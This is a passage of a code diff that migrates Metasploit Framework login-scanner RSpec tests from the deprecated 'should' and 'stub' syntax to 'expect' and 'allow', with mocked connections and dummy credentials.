|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Base do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Base do
|
||||
|
||||
let(:base_class) {
|
||||
Class.new do
|
||||
|
@ -29,7 +29,7 @@ describe Metasploit::Framework::LoginScanner::Base do
|
|||
base_class.new(options)
|
||||
}
|
||||
|
||||
it { should respond_to :bruteforce_speed }
|
||||
it { is_expected.to respond_to :bruteforce_speed }
|
||||
|
||||
context 'validations' do
|
||||
|
||||
|
@ -70,7 +70,7 @@ describe Metasploit::Framework::LoginScanner::Base do
|
|||
|
||||
end
|
||||
|
||||
it { should respond_to :sleep_time }
|
||||
it { is_expected.to respond_to :sleep_time }
|
||||
|
||||
context '#sleep_time' do
|
||||
|
||||
|
@ -93,7 +93,7 @@ describe Metasploit::Framework::LoginScanner::Base do
|
|||
end
|
||||
end
|
||||
|
||||
it { should respond_to :sleep_between_attempts }
|
||||
it { is_expected.to respond_to :sleep_between_attempts }
|
||||
|
||||
context '#sleep_between_attempts'
|
||||
context 'default' do
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/buffalo'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Buffalo do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Buffalo do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/chef_webui'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::ChefWebUI do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::ChefWebUI do
|
||||
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/db2'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::DB2 do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::DB2 do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
let(:test_cred) {
|
||||
|
@ -18,7 +18,7 @@ describe Metasploit::Framework::LoginScanner::DB2 do
|
|||
context 'when the socket errors' do
|
||||
it 'returns a connection_error result for an Rex::ConnectionError' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionError
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionError
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to be_a(::Rex::ConnectionError)
|
||||
|
@ -26,7 +26,7 @@ describe Metasploit::Framework::LoginScanner::DB2 do
|
|||
|
||||
it 'returns a connection_error result for an Rex::ConnectionTimeout' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Rex::ConnectionTimeout
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Rex::ConnectionTimeout
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to be_a(::Rex::ConnectionTimeout)
|
||||
|
@ -34,7 +34,7 @@ describe Metasploit::Framework::LoginScanner::DB2 do
|
|||
|
||||
it 'returns a connection_error result for an ::Timeout::Error' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:connect).and_raise ::Timeout::Error
|
||||
expect(my_scanner).to receive(:connect).and_raise ::Timeout::Error
|
||||
result = my_scanner.attempt_login(test_cred)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
expect(result.proof).to be_a(::Timeout::Error)
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/ftp'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::FTP do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::FTP do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
|
||||
|
@ -105,22 +105,22 @@ describe Metasploit::Framework::LoginScanner::FTP do
|
|||
context 'when it fails' do
|
||||
|
||||
it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::ConnectionError' do
|
||||
Rex::Socket::Tcp.should_receive(:create) { raise Rex::ConnectionError }
|
||||
expect(Rex::Socket::Tcp).to receive(:create) { raise Rex::ConnectionError }
|
||||
expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns Metasploit::Model::Login::Status::UNABLE_TO_CONNECT for a Rex::AddressInUse' do
|
||||
Rex::Socket::Tcp.should_receive(:create) { raise Rex::AddressInUse }
|
||||
expect(Rex::Socket::Tcp).to receive(:create) { raise Rex::AddressInUse }
|
||||
expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns :connection_disconnect for a ::EOFError' do
|
||||
Rex::Socket::Tcp.should_receive(:create) { raise ::EOFError }
|
||||
expect(Rex::Socket::Tcp).to receive(:create) { raise ::EOFError }
|
||||
expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns :connection_disconnect for a ::Timeout::Error' do
|
||||
Rex::Socket::Tcp.should_receive(:create) { raise ::Timeout::Error }
|
||||
expect(Rex::Socket::Tcp).to receive(:create) { raise ::Timeout::Error }
|
||||
expect(ftp_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/gitlab'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::GitLab do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::GitLab do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/glassfish'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Glassfish do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Glassfish do
|
||||
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
|
@ -87,13 +87,15 @@ describe Metasploit::Framework::LoginScanner::Glassfish do
|
|||
context '#is_secure_admin_disabled?' do
|
||||
it 'returns true when Secure Admin is disabled' do
|
||||
res = Rex::Proto::Http::Response.new(res_code)
|
||||
res.stub(:body).and_return('Secure Admin must be enabled')
|
||||
allow(res).to receive(:body).and_return('Secure Admin must be enabled')
|
||||
|
||||
expect(http_scanner.is_secure_admin_disabled?(res)).to be_truthy
|
||||
end
|
||||
|
||||
it 'returns false when Secure Admin is enabled' do
|
||||
res = Rex::Proto::Http::Response.new(res_code)
|
||||
res.stub(:body).and_return('')
|
||||
allow(res).to receive(:body).and_return('')
|
||||
|
||||
expect(http_scanner.is_secure_admin_disabled?(res)).to be_falsey
|
||||
end
|
||||
end
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::HTTP do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::HTTP do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/invalid'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Invalid do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Invalid do
|
||||
|
||||
subject(:invalid) do
|
||||
described_class.new(model)
|
||||
|
@ -17,10 +17,10 @@ describe Metasploit::Framework::LoginScanner::Invalid do
|
|||
end
|
||||
end
|
||||
|
||||
it { should be_a StandardError }
|
||||
it { is_expected.to be_a StandardError }
|
||||
|
||||
it 'should use ActiveModel::Errors#full_messages' do
|
||||
model.errors.should_receive(:full_messages).and_call_original
|
||||
expect(model.errors).to receive(:full_messages).and_call_original
|
||||
|
||||
described_class.new(model)
|
||||
end
|
||||
|
@ -31,7 +31,7 @@ describe Metasploit::Framework::LoginScanner::Invalid do
|
|||
end
|
||||
|
||||
it 'should be the passed in model' do
|
||||
error_model.should == model
|
||||
expect(error_model).to eq model
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/ipboard'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::IPBoard do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::IPBoard do
|
||||
|
||||
subject { described_class.new }
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/jenkins'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Jenkins do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Jenkins do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/manageengine_desktop_central'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::ManageEngineDesktopCentral do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/mssql'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::MSSQL do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::MSSQL do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
|
||||
|
@ -37,7 +37,7 @@ describe Metasploit::Framework::LoginScanner::MSSQL do
|
|||
it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM'
|
||||
it_behaves_like 'Metasploit::Framework::Tcp::Client'
|
||||
|
||||
it { should respond_to :windows_authentication }
|
||||
it { is_expected.to respond_to :windows_authentication }
|
||||
|
||||
context 'validations' do
|
||||
context '#windows_authentication' do
|
||||
|
@ -69,7 +69,7 @@ describe Metasploit::Framework::LoginScanner::MSSQL do
|
|||
context 'when the is a connection error' do
|
||||
it 'returns a result with the connection_error status' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:mssql_login).and_raise ::Rex::ConnectionError
|
||||
expect(my_scanner).to receive(:mssql_login).and_raise ::Rex::ConnectionError
|
||||
expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
end
|
||||
|
@ -77,7 +77,7 @@ describe Metasploit::Framework::LoginScanner::MSSQL do
|
|||
context 'when the login fails' do
|
||||
it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:mssql_login).and_return false
|
||||
expect(my_scanner).to receive(:mssql_login).and_return false
|
||||
expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
end
|
||||
|
@ -85,7 +85,7 @@ describe Metasploit::Framework::LoginScanner::MSSQL do
|
|||
context 'when the login succeeds' do
|
||||
it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do
|
||||
my_scanner = login_scanner
|
||||
my_scanner.should_receive(:mssql_login).and_return true
|
||||
expect(my_scanner).to receive(:mssql_login).and_return true
|
||||
expect(my_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/mybook_live'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::MyBookLive do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::MyBookLive do
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: true, has_default_realm: false
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::RexSocket'
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/mysql'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::MySQL do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::MySQL do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
let(:pub_blank) {
|
||||
|
@ -37,7 +37,7 @@ describe Metasploit::Framework::LoginScanner::MySQL do
|
|||
|
||||
context 'when the attempt is successful' do
|
||||
it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do
|
||||
::RbMysql.should_receive(:connect).and_return "fake mysql handle"
|
||||
expect(::RbMysql).to receive(:connect).and_return "fake mysql handle"
|
||||
expect(login_scanner.attempt_login(pub_pri).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
end
|
||||
|
@ -45,60 +45,60 @@ describe Metasploit::Framework::LoginScanner::MySQL do
|
|||
context 'when the attempt is unsuccessful' do
|
||||
context 'due to connection refused' do
|
||||
it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED
|
||||
expect(::RbMysql).to receive(:connect).and_raise Errno::ECONNREFUSED
|
||||
expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns a result with the proof containing an appropriate error message' do
|
||||
::RbMysql.should_receive(:connect).and_raise Errno::ECONNREFUSED
|
||||
expect(::RbMysql).to receive(:connect).and_raise Errno::ECONNREFUSED
|
||||
expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ECONNREFUSED)
|
||||
end
|
||||
end
|
||||
|
||||
context 'due to connection timeout' do
|
||||
it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError
|
||||
expect(::RbMysql).to receive(:connect).and_raise RbMysql::ClientError
|
||||
expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns a result with the proof containing an appropriate error message' do
|
||||
::RbMysql.should_receive(:connect).and_raise RbMysql::ClientError
|
||||
expect(::RbMysql).to receive(:connect).and_raise RbMysql::ClientError
|
||||
expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::ClientError)
|
||||
end
|
||||
end
|
||||
|
||||
context 'due to operation timeout' do
|
||||
it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT
|
||||
expect(::RbMysql).to receive(:connect).and_raise Errno::ETIMEDOUT
|
||||
expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns a result with the proof containing an appropriate error message' do
|
||||
::RbMysql.should_receive(:connect).and_raise Errno::ETIMEDOUT
|
||||
expect(::RbMysql).to receive(:connect).and_raise Errno::ETIMEDOUT
|
||||
expect(login_scanner.attempt_login(pub_pub).proof).to be_a(Errno::ETIMEDOUT)
|
||||
end
|
||||
end
|
||||
|
||||
context 'due to not being allowed to connect from this host' do
|
||||
it 'returns a result with a status of Metasploit::Model::Login::Status::UNABLE_TO_CONNECT' do
|
||||
::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged"
|
||||
expect(::RbMysql).to receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged"
|
||||
expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
|
||||
it 'returns a result with the proof containing an appropriate error message' do
|
||||
::RbMysql.should_receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged"
|
||||
expect(::RbMysql).to receive(:connect).and_raise RbMysql::HostNotPrivileged, "Host not privileged"
|
||||
expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::HostNotPrivileged)
|
||||
end
|
||||
end
|
||||
|
||||
context 'due to access denied' do
|
||||
it 'returns a result with a status of Metasploit::Model::Login::Status::INCORRECT' do
|
||||
::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied"
|
||||
expect(::RbMysql).to receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied"
|
||||
expect(login_scanner.attempt_login(pub_pub).status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
it 'returns a result with the proof containing an appropriate error message' do
|
||||
::RbMysql.should_receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied"
|
||||
expect(::RbMysql).to receive(:connect).and_raise RbMysql::AccessDeniedError, "Access Denied"
|
||||
expect(login_scanner.attempt_login(pub_pub).proof).to be_a(RbMysql::AccessDeniedError)
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/nessus'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Nessus do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Nessus do
|
||||
|
||||
subject(:http_scanner) { described_class.new }
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/pop3'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::POP3 do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::POP3 do
|
||||
subject(:scanner) { described_class.new }
|
||||
|
||||
it_behaves_like 'Metasploit::Framework::LoginScanner::Base', has_realm_key: false, has_default_realm: false
|
||||
|
@ -47,12 +47,14 @@ describe Metasploit::Framework::LoginScanner::POP3 do
|
|||
let(:sock) {double('socket')}
|
||||
|
||||
before(:each) do
|
||||
sock.stub(:shutdown)
|
||||
sock.stub(:close)
|
||||
sock.stub(:closed?)
|
||||
allow(sock).to receive(:shutdown)
|
||||
allow(sock).to receive(:close)
|
||||
allow(sock).to receive(:closed?)
|
||||
|
||||
allow(scanner).to receive(:sock).and_return(sock)
|
||||
|
||||
expect(scanner).to receive(:connect)
|
||||
scanner.stub(:sock).and_return(sock)
|
||||
scanner.should_receive(:select).with([sock],nil,nil,0.4)
|
||||
expect(scanner).to receive(:select).with([sock],nil,nil,0.4)
|
||||
end
|
||||
|
||||
it "Server returns +OK" do
|
||||
|
@ -68,7 +70,7 @@ describe Metasploit::Framework::LoginScanner::POP3 do
|
|||
end
|
||||
|
||||
it "Server Returns Something Else" do
|
||||
sock.stub(:get_once).and_return("+ERROR")
|
||||
allow(sock).to receive(:get_once).and_return("+ERROR")
|
||||
|
||||
result = scanner.attempt_login(pub_blank)
|
||||
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/postgres'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Postgres do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Postgres do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
let(:realm) { 'template1' }
|
||||
|
@ -30,23 +30,24 @@ describe Metasploit::Framework::LoginScanner::Postgres do
|
|||
context '#attempt_login' do
|
||||
context 'when the login is successful' do
|
||||
it 'returns a result object with a status of success' do
|
||||
fake_conn = "fake_connection"
|
||||
Msf::Db::PostgresPR::Connection.should_receive(:new).and_return fake_conn
|
||||
fake_conn.should_receive(:close)
|
||||
fake_conn = double('fake_connection')
|
||||
|
||||
expect(fake_conn).to receive(:close)
|
||||
expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_return fake_conn
|
||||
expect(login_scanner.attempt_login(full_cred).status).to eq Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
end
|
||||
end
|
||||
|
||||
context 'when there is no realm on the credential' do
|
||||
it 'uses template1 as the default realm' do
|
||||
Msf::Db::PostgresPR::Connection.should_receive(:new).with('template1', 'root', 'toor', 'tcp://:')
|
||||
expect(Msf::Db::PostgresPR::Connection).to receive(:new).with('template1', 'root', 'toor', 'tcp://:')
|
||||
login_scanner.attempt_login(cred_no_realm)
|
||||
end
|
||||
end
|
||||
|
||||
context 'when the realm is invalid but the rest of the credential is not' do
|
||||
it 'includes the details in the result proof' do
|
||||
Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC3D000"
|
||||
expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "blah\tC3D000"
|
||||
result = login_scanner.attempt_login(cred_no_realm)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
expect(result.proof).to eq "C3D000, Creds were good but database was bad"
|
||||
|
@ -55,7 +56,7 @@ describe Metasploit::Framework::LoginScanner::Postgres do
|
|||
|
||||
context 'when the username or password is invalid' do
|
||||
it 'includes a message in proof, indicating why it failed' do
|
||||
Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "blah\tC28000"
|
||||
expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "blah\tC28000"
|
||||
result = login_scanner.attempt_login(cred_no_realm)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
expect(result.proof).to eq "Invalid username or password"
|
||||
|
@ -64,7 +65,7 @@ describe Metasploit::Framework::LoginScanner::Postgres do
|
|||
|
||||
context 'when any other type of error occurs' do
|
||||
it 'returns a failure with the error message in the proof' do
|
||||
Msf::Db::PostgresPR::Connection.should_receive(:new).and_raise RuntimeError, "unknown error"
|
||||
expect(Msf::Db::PostgresPR::Connection).to receive(:new).and_raise RuntimeError, "unknown error"
|
||||
result = login_scanner.attempt_login(cred_no_realm)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
expect(result.proof).to eq "unknown error"
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::Result do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::Result do
|
||||
|
||||
let(:private) { 'toor' }
|
||||
let(:proof) { 'foobar' }
|
||||
|
@ -20,11 +20,11 @@ describe Metasploit::Framework::LoginScanner::Result do
|
|||
)
|
||||
}
|
||||
|
||||
it { should respond_to :access_level }
|
||||
it { should respond_to :credential }
|
||||
it { should respond_to :proof }
|
||||
it { should respond_to :status }
|
||||
it { should respond_to :success? }
|
||||
it { is_expected.to respond_to :access_level }
|
||||
it { is_expected.to respond_to :credential }
|
||||
it { is_expected.to respond_to :proof }
|
||||
it { is_expected.to respond_to :status }
|
||||
it { is_expected.to respond_to :success? }
|
||||
|
||||
context '#success?' do
|
||||
context 'when the status code is success' do
|
||||
|
|
|
@ -1,7 +1,7 @@
|
|||
require 'spec_helper'
|
||||
require 'metasploit/framework/login_scanner/smb'
|
||||
|
||||
describe Metasploit::Framework::LoginScanner::SMB do
|
||||
RSpec.describe Metasploit::Framework::LoginScanner::SMB do
|
||||
let(:public) { 'root' }
|
||||
let(:private) { 'toor' }
|
||||
|
||||
|
@ -37,14 +37,14 @@ describe Metasploit::Framework::LoginScanner::SMB do
|
|||
it_behaves_like 'Metasploit::Framework::LoginScanner::NTLM'
|
||||
it_behaves_like 'Metasploit::Framework::Tcp::Client'
|
||||
|
||||
it { should respond_to :smb_chunk_size }
|
||||
it { should respond_to :smb_name }
|
||||
it { should respond_to :smb_native_lm }
|
||||
it { should respond_to :smb_native_os }
|
||||
it { should respond_to :smb_obscure_trans_pipe_level }
|
||||
it { should respond_to :smb_pad_data_level }
|
||||
it { should respond_to :smb_pad_file_level }
|
||||
it { should respond_to :smb_pipe_evasion }
|
||||
it { is_expected.to respond_to :smb_chunk_size }
|
||||
it { is_expected.to respond_to :smb_name }
|
||||
it { is_expected.to respond_to :smb_native_lm }
|
||||
it { is_expected.to respond_to :smb_native_os }
|
||||
it { is_expected.to respond_to :smb_obscure_trans_pipe_level }
|
||||
it { is_expected.to respond_to :smb_pad_data_level }
|
||||
it { is_expected.to respond_to :smb_pad_file_level }
|
||||
it { is_expected.to respond_to :smb_pipe_evasion }
|
||||
|
||||
context 'validations' do
|
||||
context '#smb_verify_signature' do
|
||||
|
@ -74,11 +74,11 @@ describe Metasploit::Framework::LoginScanner::SMB do
|
|||
|
||||
context '#attempt_login' do
|
||||
before(:each) do
|
||||
login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false
|
||||
allow(login_scanner).to receive_message_chain(:simple, :client, :auth_user, :nil?).and_return false
|
||||
end
|
||||
context 'when there is a connection error' do
|
||||
it 'returns a result with the connection_error status' do
|
||||
login_scanner.stub_chain(:simple, :login).and_raise ::Rex::ConnectionError
|
||||
allow(login_scanner).to receive_message_chain(:simple, :login).and_raise ::Rex::ConnectionError
|
||||
expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
|
||||
end
|
||||
end
|
||||
|
@ -98,10 +98,10 @@ describe Metasploit::Framework::LoginScanner::SMB do
|
|||
exception = Rex::Proto::SMB::Exceptions::LoginError.new
|
||||
exception.error_code = code
|
||||
|
||||
login_scanner.stub_chain(:simple, :login).and_raise exception
|
||||
login_scanner.stub_chain(:simple, :connect)
|
||||
login_scanner.stub_chain(:simple, :disconnect)
|
||||
login_scanner.stub_chain(:simple, :client, :auth_user, :nil?).and_return false
|
||||
allow(login_scanner).to receive_message_chain(:simple, :login).and_raise exception
|
||||
allow(login_scanner).to receive_message_chain(:simple, :connect)
|
||||
allow(login_scanner).to receive_message_chain(:simple, :disconnect)
|
||||
allow(login_scanner).to receive_message_chain(:simple, :client, :auth_user, :nil?).and_return false
|
||||
|
||||
expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::DENIED_ACCESS
|
||||
end
|
||||
|
@ -111,8 +111,8 @@ describe Metasploit::Framework::LoginScanner::SMB do
|
|||
|
||||
context 'when the login fails' do
|
||||
it 'returns a result object with a status of Metasploit::Model::Login::Status::INCORRECT' do
|
||||
login_scanner.stub_chain(:simple, :login).and_return false
|
||||
login_scanner.stub_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error
|
||||
allow(login_scanner).to receive_message_chain(:simple, :login).and_return false
|
||||
allow(login_scanner).to receive_message_chain(:simple, :connect).and_raise Rex::Proto::SMB::Exceptions::Error
|
||||
expect(login_scanner.attempt_login(pub_blank).status).to eq Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
end
|
||||
|
@ -121,13 +121,13 @@ describe Metasploit::Framework::LoginScanner::SMB do
|
|||
context 'and the user is local admin' do
|
||||
before(:each) do
|
||||
login_scanner.simple = double
|
||||
login_scanner.simple.stub(:connect).with(/.*admin\$/i)
|
||||
login_scanner.simple.stub(:connect).with(/.*ipc\$/i)
|
||||
login_scanner.simple.stub(:disconnect)
|
||||
allow(login_scanner.simple).to receive(:connect).with(/.*admin\$/i)
|
||||
allow(login_scanner.simple).to receive(:connect).with(/.*ipc\$/i)
|
||||
allow(login_scanner.simple).to receive(:disconnect)
|
||||
end
|
||||
|
||||
it 'returns a result object with a status of Metasploit::Model::Login::Status::SUCCESSFUL' do
|
||||
login_scanner.stub_chain(:simple, :login).and_return true
|
||||
allow(login_scanner).to receive_message_chain(:simple, :login).and_return true
|
||||
result = login_scanner.attempt_login(pub_blank)
|
||||
expect(result.status).to eq Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
expect(result.access_level).to eq described_class::AccessLevels::ADMINISTRATOR
|
||||
|
@ -137,15 +137,15 @@ describe Metasploit::Framework::LoginScanner::SMB do
|
|||
context 'and the user is NOT local admin' do
|
||||
before(:each) do
|
||||
login_scanner.simple = double
|
||||
login_scanner.simple.stub(:connect).with(/.*admin\$/i).and_raise(
|
||||
allow(login_scanner.simple).to receive(:connect).with(/.*admin\$/i).and_raise(
|
||||
# STATUS_ACCESS_DENIED
|
||||
Rex::Proto::SMB::Exceptions::ErrorCode.new.tap{|e|e.error_code = 0xC0000022}
|
||||
)
|
||||
login_scanner.simple.stub(:connect).with(/.*ipc\$/i)
|
||||
allow(login_scanner.simple).to receive(:connect).with(/.*ipc\$/i)
|
||||
end
|
||||
|
||||
